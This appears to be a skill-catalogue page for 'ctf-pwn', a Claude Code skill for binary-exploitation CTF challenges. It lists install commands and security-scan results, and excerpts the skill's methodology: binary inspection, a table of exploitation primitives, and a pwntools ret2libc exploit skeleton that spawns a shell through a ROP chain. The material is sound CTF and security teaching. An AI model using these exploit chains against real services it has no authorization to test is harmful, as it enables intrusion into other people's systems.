ctf-pwn

ctf-pwn is a skill for Claude Code from 26zl/cybersec-toolkit. It costs 90 tokens per session (1,127 once invoked), scanned A, original, MIT.

A workflow for solving binary-exploitation CTF challenges, where a program is intentionally attacked through bugs such as buffer overflows or format-string errors. It covers techniques including ROP, heap bugs, and kernel exploitation.

In plain words
What is it for?
Use it to inspect ELF and other binaries, analyze crashes with debuggers, find vulnerable code, calculate offsets, and build exploits with pwntools.
Why use it?
It helps turn a crash or memory bug into a clear exploitation path by checking protections, locating the flaw, and selecting an appropriate technique.

Skill for Claude Code

Written for Claude Code: installed under .claude/.

Part of the cybersec-toolkit plugin — 197 skills, 2 hooks, 1 MCP server shipped together

Good fit Use it to inspect ELF and other binaries, analyze crashes with debuggers, find vulnerable code, calculate offsets, and build exploits with pwntools.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/26zl/cybersec-toolkit/ctf-pwn
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add 26zl/cybersec-toolkit --skill ctf-pwn
Clone the repo
git clone --depth 1 https://github.com/26zl/cybersec-toolkit

Made for: Claude Code.

Or install cybersec-toolkit, the plugin that ships this one along with the rest of its 197 skills, 2 hooks, 1 MCP server.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ctf-pwn

README.md
[![agentmods](https://agentmods.dev/badge/skills/26zl/cybersec-toolkit/ctf-pwn/github.svg)](https://agentmods.dev/skills/26zl/cybersec-toolkit/ctf-pwn)
Your own site
<a href="https://agentmods.dev/skills/26zl/cybersec-toolkit/ctf-pwn"><img src="https://agentmods.dev/badge/skills/26zl/cybersec-toolkit/ctf-pwn/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ctf-pwn

Your own site · 80×15
<a href="https://agentmods.dev/skills/26zl/cybersec-toolkit/ctf-pwn"><img src="https://agentmods.dev/badge/skills/26zl/cybersec-toolkit/ctf-pwn.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 90 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,127 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 2 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 68
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • medium Rogue Agent · line 13
    Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
    Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00090 $0.01127
Opus 5 $0.00045 $0.00563
Sonnet 5 $0.00018 $0.00225
Haiku 4.5 $0.00009 $0.00113

Measured 7d ago against content hash 63b31b6520e8, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

ctf-pwn scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

.claude/skills/ctf-pwn/SKILL.md · 103 lines

How it starts

The opening of the file, as written. The whole thing — 103 lines — stays where its author put it; the contents beside it link to each section on GitHub.

CTF pwn methodology

0. Pwntools venv

The MCP server runs pwntools through a dedicated venv at ~/.ctf-venvs/pwntools/. If missing:

wsl.exe bash -lc "mkdir -p ~/.ctf-venvs && python3 -m venv ~/.ctf-venvs/pwntools && ~/.ctf-venvs/pwntools/bin/pip install pwntools z3-solver"

Then use it: run_script(code, venv="pwntools").

1. Identify the binary

file ./vuln
checksec --file=./vuln       # or: rabin2 -I ./vuln
strings ./vuln | head -50
nm ./vuln | head -30          # symbols if not stripped

Note: RELRO, Canary, NX, PIE, arch (x86 / x86_64 / arm / mips), libc version.

If a libc is provided, identify it:

strings libc.so.6 | grep "GNU C Library"
# or
./vuln_pwntools_helper  # see below

libc-database and libc-rip/libc.rip (web) — find offsets by leaked function addresses.

2. Find the bug

Static:

  • objdump -d -M intel ./vuln
  • Ghidra / cutter (radare2 GUI) for decompile — both in registry
  • Look for: gets, strcpy, unbounded read, printf(user_input), integer overflow on size, double free, UAF

Dynamic:

  • gdb-multiarch ./vuln + pwndbg / gef
  • Cyclic pattern: cyclic 200 → run → crash → cyclic -l <RIP> to find offset

3. Pick the primitive

Class Primitive Tool
Stack BOF, no canary, NX off shellcode pwntools shellcraft.sh()
Stack BOF, NX on, ASLR off ret2win / static ROP ROPgadget --binary ./vuln
Stack BOF, NX+ASLR, libc leak ret2libc leak with PUTS@got, calc system, /bin/sh
Stack BOF, NX+ASLR, no leak ret2plt + puts → leak classic chain
Format string %n write / %s leak pwntools fmtstr_payload
Heap (glibc) tcache, fastbin, unsorted bin how2heap, pwndbg heap
Use-after-free dangling pointer abuse manual python
Kernel KASLR leak, modprobe_path, etc manual + qemu

4. Exploit skeleton (pwntools)

from pwn import *

context.binary = ELF("./vuln")
libc = ELF("./libc.so.6")
p = remote("host", 1337)  # or process("./vuln") for local

# leak
p.sendlineafter(b"> ", b"A" * 40 + p64(elf.plt['puts']) + p64(elf.sym['main']))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym['puts']

# pwn
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']))  # stack align
rop.system(next(libc.search(b"/bin/sh")))
p.sendline(b"A" * 40 + rop.chain())

p.interactive()

Read the full file on GitHub · 103 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 103 lines · 90 tokens per session scan A 63b31b6520e8

Subscribe to this mod's changes

ctf-pwn is a skill published in the GitHub repository 26zl/cybersec-toolkit (52 stars, last pushed today), licensed MIT. It adds 90 tokens to every session and 1,127 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

argus

Argus — the all-seeing scanner suite. Six automated scanners for high-value web + LLM bug classes — CORS misconfiguration (origin reflection / null / credentialed read), CRLF & host-header injection, NoSQL injection (operator auth-bypass / $where blind), JWT attacks (alg:none / RS256→HS256 confusion / secret crack)…

Awarexone/Agentic-Bug-Hunter · 166 tokens

exploiting-format-string-vulnerabilities

Methodology for exploiting format string bugs where attacker-controlled data reaches the format argument of printf-family functions, enabling stack/memory disclosure (info leaks for ASLR/PIE/canary defeat) and arbitrary write primitives (%n) to hijack control flow via GOT/.finiarray overwrites.

xalgorix/xalgorix · 69 tokens

exploiting-linux-kernel-vulnerabilities

Methodology for discovering and exploiting Linux kernel memory-corruption vulnerabilities (UAF, OOB read/write, race/TOCTOU, type confusion) during authorized engagements, covering reachability analysis, building stable read/write primitives from a single bug, defeating KASLR/SMEP/SMAP/KPTI, slab/buddy heap grooming…

xalgorix/xalgorix · 96 tokens

exploiting-integer-overflow-vulnerabilities

Methodology for finding and exploiting integer overflow, underflow, truncation, and signedness bugs in native code during authorized engagements, focusing on how wrapped arithmetic in size/length calculations leads to undersized allocations, oversized copies, length-check bypasses, and downstream heap/stack overflows.

xalgorix/xalgorix · 69 tokens

investigating-windows-endpoints

Investigate a live or triaged Windows host for intrusion evidence using disk and registry artifacts — MFT/$UsnJrnl, registry hives, AmCache/ShimCache, Prefetch, LNK/JumpLists, ShellBags, and event logs — parsed with the Eric Zimmerman suite and consolidated into a timeline. Use when a Windows endpoint is suspect and…

EvilFreelancer/secs · 113 tokens

reverse-engineering

Progress binary analysis from sample intake through static, anti-analysis, unpacking, dynamic tracing, VM reverse engineering, and symbolic review.

Shad0wMazt3r/The-Scaffolding · 30 tokens